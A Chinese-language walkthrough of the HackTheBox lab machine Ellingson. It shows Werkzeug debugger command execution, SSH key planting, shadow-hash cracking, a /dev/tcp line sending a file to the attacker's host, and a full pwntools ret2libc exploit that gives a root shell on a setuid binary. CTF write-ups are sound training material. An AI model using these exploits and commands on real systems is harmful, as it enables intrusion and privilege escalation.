Machine - Ellingson

https://app.hackthebox.com/machines/Ellingson | Linux | Hard

Recon

➜  Ellingson nmap -sT -min-rate 5000 10.10.10.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 09:01 CST
Nmap scan report for 10.10.10.139
Host is up (0.062s latency).
Not shown: 886 closed tcp ports (conn-refused), 112 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

➜  Ellingson nmap -sT -A -p 22,80 10.10.10.139   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 09:01 CST
Nmap scan report for 10.10.10.139
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
|_http-server-header: nginx/1.14.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   324.20 ms 10.10.16.1
2   43.94 ms  10.10.10.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds

访问HTTP

内容告诉我们他们被Ellingson病毒给勒索了，并且短时间内不能访问服务超过五次，否则会被ban (目录扫描也不行)

得到常见密码，这里可能存在弱密码

 Love,Secret,Sex,God

Margo Wallace
Eugene Belford
Duke Ellingson
Hal

一个一个用户尝试之后没结果

Traceback 命令执行

网页是由Werkzeug驱动的，并且异常处理是Traceback

貌似说可以命令执行

成功执行 py 语句

SSH 公钥

反弹 shell ，这里怎么弹都没法弹过来

我们尝试写公钥

>>> import os;print(os.popen('whoami').read())
hal

>>> import os;print(os.popen('pwd').read())
/

>>> import os;print(os.popen('ls -al /home/hal').read())
total 36
drwxrwx--- 5 hal  hal  4096 Jul 16  2021 .
drwxr-xr-x 6 root root 4096 Jul 16  2021 ..
-rw-r--r-- 1 hal  hal   220 Mar  9  2019 .bash_logout
-rw-r--r-- 1 hal  hal  3771 Mar  9  2019 .bashrc
drwx------ 2 hal  hal  4096 Jul 16  2021 .cache
drwx------ 3 hal  hal  4096 Jul 16  2021 .gnupg
-rw-r--r-- 1 hal  hal   807 Mar  9  2019 .profile
drwx------ 2 hal  hal  4096 Jun 13 00:54 .ssh
-rw------- 1 hal  hal   865 Mar  9  2019 .viminfo

>>> import os;print(os.popen('echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPj1PrDHdIKBOR5DxZjrQD5M3R4yRyMdJqSEDwP6SCfe root@kali\" > /home/hal/.ssh/authorized_keys').read())

Crack Shadow

发现hal用户所属有趣的组

hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

查找 group组有权限的文件

发现shadow.bak

hal@ellingson:~$ cat /var/backups/shadow.bak 
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

john破解

➜  Ellingson john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (theplague)     
iamgod$08        (margo)     
2g 0:01:56:26 DONE (2025-06-13 14:56) 0.000286g/s 2053p/s 3123c/s 3123C/s !!!playboy!!!7..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

的到两个密码，其中theplague的密码是不正确的，margo的密码是正确的

margo用户可以拿到user.txt

margo@ellingson:~$ cat user.txt 
e6e956999a23f338ffd6d933bf79ca9c

缓冲区溢出

检查程序

这里大致看了一会感觉没什么问题

margo@ellingson:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/at              
/usr/bin/newgrp       
/usr/bin/pkexec           
/usr/bin/passwd             
/usr/bin/gpasswd            
/usr/bin/garbage               
/usr/bin/newuidmap            
/usr/bin/sudo                 
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap                         
/usr/bin/chsh                             
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su                     
/bin/umount                 
/bin/ntfs-3g                   
/bin/ping                     
/bin/mount                    
/bin/fusermount

但是问题出现在garbage ，我以为它是gc（Garbage Collection）

运行它的时候，会让你输入密码

margo@ellingson:~$ garbage
Enter access password: 111111111111111111111111111111111111111111111111111111

access denied.

拉出去逆向看一眼

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-8h] BYREF
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  v4 = check_user(argc, argv, envp);
  set_username(v4);
  if ( !(unsigned int)auth(v4) )
    exit(-1);
  puts("[+] W0rM || Control Application");
  puts("[+] ---------------------------");
  puts("Select Option");
  puts("1: Check Balance");
  puts("2: Launch");
  puts("3: Cancel");
  puts("4: Exit");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        printf("> ");
        __isoc99_scanf("%d%*c", &v3);
        if ( v3 != 2 )
          break;
        launch();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_14;
      checkbalance();
    }
    if ( v3 != 3 )
    {
      if ( v3 == 4 )
        exit(0);
LABEL_14:
      puts("Unknown option");
      exit(-1);
    }
    cancel();
  }
}

我们在开始运行的 auth 函数中发现了存在缓冲区溢出漏洞

也就是让我们输入密码的地方，会有缓冲区溢出，gets() 函数会无限制地读取用户的输入，直到遇到换行符。如果攻击者输入一个超长的字符串（例如200个字符），多出来的100个字符就会溢出，覆盖掉栈上 s1 相邻的其他数据。

__int64 __fastcall auth(int a1)
{
  char dest[112]; // [rsp+10h] [rbp-F0h] BYREF
  char s1[100]; // [rsp+80h] [rbp-80h] BYREF
  char v4[12]; // [rsp+E4h] [rbp-1Ch] BYREF
  int v5; // [rsp+F0h] [rbp-10h]

  v5 = a1;
  strcpy(v4, username);
  printf("Enter access password: ");
  gets(s1);
  putchar(10);
  if ( !strcmp(s1, "N3veRF3@r1iSh3r3!") )
  {
    strcpy(dest, "access granted for user: ");
    strcat(dest, v4);
    syslog(6, dest);
    puts("access granted.");
    return 1LL;
  }
  else
  {
    puts("access denied.");
    return 0LL;
  }
}

64位程序

➜  Ellingson file garbage 
garbage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

保护措施情况，开启了NX

➜  Ellingson checksec garbage 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.cache/.pwntools-cache-3.13/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.14.1)
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

检查一下是否开启了 ALSR ，开启了完全ALSR

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

这里要使用 ret2libc 攻击

寻找一个真实的地址

首先我们查看libc文件

margo@ellingson:~$ ldd /usr/bin/garbage 
        linux-vdso.so.1 (0x00007ffcd37ec000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff0364b2000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff0368a3000)

将/lib/x86_64-linux-gnu/libc.so.6下载到靶机中

// kali
➜  Ellingson nc -lvp 1234 > libc.so.6
// Machine
margo@ellingson:~$ cat /lib/x86_64-linux-gnu/libc.so.6 > /dev/tcp/your-ip/1234

首先判断填充值，这里使用garbage

(pwn) ➜  Ellingson pwndbg garbage 
pwndbg> cyclic 1024
aaaabaaacaaadaaa...acwaacxaacyaac
pwndbg> run
Starting program: /root/Desktop/HackTheBox/Ellingson/garbage 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter access password:aaaabaaacaaadaaa...acwaacxaacyaac

程序果不其然崩溃了

计算偏移值，这里使用msf

➜  Ellingson /usr/bin/msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab...Ag0Ag1Ag2Ag3Ag4Ag5Ag

pwndbg> x/xg 0x7fffffffdf58
0x7fffffffdf58: 0x3765413665413565

(pwn) ➜  Ellingson /usr/bin/msf-pattern_offset -l 200 -q 0x3765413665413565        
[*] Exact match at offset 136

得到偏移值136 （PS：这里使用pwndbg的cyclic无法得到正确偏移值，但是WP中使用gef等都可以很容易就得到偏移值）

得到偏移值后，我们选择一下获得哪个plt函数的真实地址

pwndbg> plt
Section .plt 0x401020 - 0x401170:
0x401030: putchar@plt
0x401040: strcpy@plt
0x401050: puts@plt
0x401060: fclose@plt
0x401070: getpwuid@plt
0x401080: getuid@plt
0x401090: printf@plt
0x4010a0: rewind@plt
0x4010b0: fgetc@plt
0x4010c0: read@plt
0x4010d0: fgets@plt
0x4010e0: strcmp@plt
0x4010f0: getchar@plt
0x401100: gets@plt
0x401110: syslog@plt
0x401120: access@plt
0x401130: fopen@plt
0x401140: __isoc99_scanf@plt
0x401150: strcat@plt
0x401160: exit@plt

x64 传参需要使用寄存器，0x000000000040179b 符合

(pwn) ➜  Ellingson ROPgadget --binary garbage --only "pop|ret"
Gadgets information
============================================================
0x0000000000401794 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401796 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401798 : pop r14 ; pop r15 ; ret
0x000000000040179a : pop r15 ; ret
0x0000000000401793 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401797 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401239 : pop rbp ; ret
0x000000000040179b : pop rdi ; ret
0x0000000000401799 : pop rsi ; pop r15 ; ret
0x0000000000401795 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401072 : ret 0x2f
0x000000000040153a : ret 0x4864
0x0000000000401485 : ret 0x8d48
0x00000000004012ce : ret 0xd089

Unique gadgets found: 15

这里选择获得puts@plt ，我们通过pwn连接ssh 来调试

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_add = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_add:{hex(puts_real_add)}")

运行后我们的得到了put的真实地址0x7f8eed3569c0

(pwn) ➜  Ellingson python exp.py                              
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 21277
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_add = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_add:0x7f8eed3569c0

得到基地址

基地址 = puts 函数真实地址 - puts 函数偏移地址

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

(pwn) ➜  Ellingson python exp.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 21460
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_addr:0x7f7ed83509c0
libcbase:0x7f7ed82d0000

获得其他地址

得到基地址后，我们要得到 system 和 /bin/sh的地址

函数真实地址 = 基地址 + 函数偏移值

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

system_addr = libcbase + libc.sym['system']
print(f"system_addr:{hex(system_addr)}")

bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")

(pwn) ➜  Ellingson python exp.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 21644
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_addr:0x7f41e478b9c0
libcbase:0x7f41e470b000
system_addr:0x7f41e475a440
bin_sh_addr = 0x7f41e48bee9a/3

GetShell

得到需要的地址后，我们可以进行获取Shell了

再此之前，我们还需要一个ret来实现堆栈平衡

(pwn) ➜  Ellingson ROPgadget --binary garbage --only "ret"    
Gadgets information
============================================================
0x0000000000401016 : ret
0x0000000000401072 : ret 0x2f
0x000000000040153a : ret 0x4864
0x0000000000401485 : ret 0x8d48
0x00000000004012ce : ret 0xd089

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

system_addr = libcbase + libc.sym['system']
print(f"system_addr:{hex(system_addr)}")

bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")

ret_addr = 0x0000000000401016

payload2 = b'A' * 136 + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

然后我们运行，但是权限只是 margo的权限

$ $ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)

GetRootShell

我们还需要进行将shell权限提升，可以使用setuid

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

system_addr = libcbase + libc.sym['system']
print(f"system_addr:{hex(system_addr)}")

bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")

ret_addr = 0x0000000000401016

setuid_addr = libcbase + libc.sym['setuid']

payload2 = b'A' * 136 + p64(ret_addr) + p64(pop_rdi_addr) + p64(0) + p64(setuid_addr) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

p.sendline(payload2)
p.interactive()

运行获得 RootShell

(pwn) ➜  Ellingson python exp.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 22208
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_addr:0x7fc6c64fd9c0
libcbase:0x7fc6c647d000
system_addr:0x7fc6c64cc440
bin_sh_addr = 0x7fc6c6630e9a
[*] Switching to interactive mode

Enter access password: 
access denied.
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)

# $ cat /root/root.txt
d87f7aac2d13c429b8d30e11be174dd6

总结

爽。

打到缓冲区溢出无从下手，花了一天多时间恶补ROP ，然后一命通关

太爽了。

HackTheBox - Machine - Ellingson